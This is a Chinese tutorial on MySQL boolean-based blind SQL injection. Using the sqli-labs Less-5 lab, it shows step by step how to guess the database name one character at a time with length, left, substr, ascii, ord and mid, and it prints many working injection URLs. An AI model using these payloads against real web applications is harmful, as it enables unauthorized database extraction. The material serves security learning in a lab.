mysql数据库的布尔盲注_mysql注入-布尔盲注总结

mysql中布尔盲注总结

布尔盲注常用函数:

length()字符串长度判断

left(a,b)从左侧截取a的前b位

substr(a,b,c)从b位置开始,截取字符串a的c长度。

ascii()将某个字符转换成相应的ascii码值。

mid(a,b,c)从位置b开始,截取a字符串的c位

ord函数与ascii()函数类似,将某个字符转换成相应的ascii码值。

regrexp正则注入

limit使用方法:limit的使用格式为limit m,n,其中m是指记录开始的位置,从0开始表示第一条记录;n是指取n条记录。例如:limit 0,1表示从第一题记录开始,取一条记录。

布尔盲注实例

靶场为sqlilabs第五关

确定该处为sql盲注后,首先使用length()函数判断当前数据库的长度:

当猜解数据库database()长度错误时,页面没有返回you are in......如图:

当猜解数据库database()长度正确时,页面返回you are in......如图:

在判断database()的长度时,可以使用大于号和小于号>,

下面采用上述函数依次猜解数据库名:

left(a,b)从左侧截取a的前b位

1,left(database(),1)>‘a‘截取database()的第一个字符,与我们给出的字符进行比较,若页面返回you are in.......则说明我们判断正确,database()的第一个字符的ascii码大于我们给出的字符a的ascii码。

2,继续二分法判断

//判断database()的第一个字符的ascii码是否大于我们给出的字符n的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'n'--+

//判断database()的第一个字符的ascii码是否大于我们给出的字符t的ascii码

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'t'--+

//判断database()的第一个字符的ascii码是否大于我们给出的字符q的ascii码

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'q'--+

//判断database()的第一个字符的ascii码是否大于我们给出的字符r的ascii码

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),1)>'r'--+

//ascii码大于r小于t的只有s,即猜解成功。

3,依次进行如上判断,可以猜解出database()的第一个字符为s,接着继续猜解第二个字符:

//判断database()的第二个字符的ascii码是否大于我们给出的字符a的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sa'--+

//判断database()的第二个字符的ascii码是否大于我们给出的字符n的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sn'--+

//判断database()的第二个字符的ascii码是否大于我们给出的字符g的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sg'--+

//判断database()的第二个字符的ascii码是否大于我们给出的字符d的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'sd'--+

//判断database()的第二个字符的ascii码是否大于我们给出的字符e的ascii码。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and left(database(),2)>'se'--+

依次进行如上判断,可以猜解出database()的第二个字符为e,接着继续猜解剩下的字符即可;

在实际渗透中可以借助python脚本进行盲注,或者使用sqlmap等sql注入工具进行注入。

ascii()将某个字符转换成相应的ascii码值。

//判断database()的第一个字符的ascii码值是否大于我们给出的ascii码值

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and ascii(left(database(),1))>114--+

ord函数与ascii()函数类似,将某个字符转换成相应的ascii码值。

//判断database()的第一个字符的ascii码值是否大于我们给出的ascii码值

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and ord(left(database(),1))>114--+

substr(a,b,c)从b位置开始,截取字符串a的c长度。

//substr(a,b,c)函数表示从a字符串的第b个字符开始,截取c个字符。b的最小值为1。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and substr(database(),1,1)>'r'--+

//依次采用二分法查找即可

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and substr(database(),1,2)>'sd'--+

mid(a,b,c)从位置b开始,截取a字符串的c位

//mid(a,b,c)函数表示从a字符串的第b个字符开始,截取c个字符。b的最小值为1。

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and mid(database(),1,1)>'a'--+

//依次采用二分法查找即可

http://192.168.174.132/sqlilabs/Less-5/index.php?id=1' and mid(database(),1,8)>'securita'--+

regrexp正则注入

你可能感兴趣的:(mysql数据库的布尔盲注)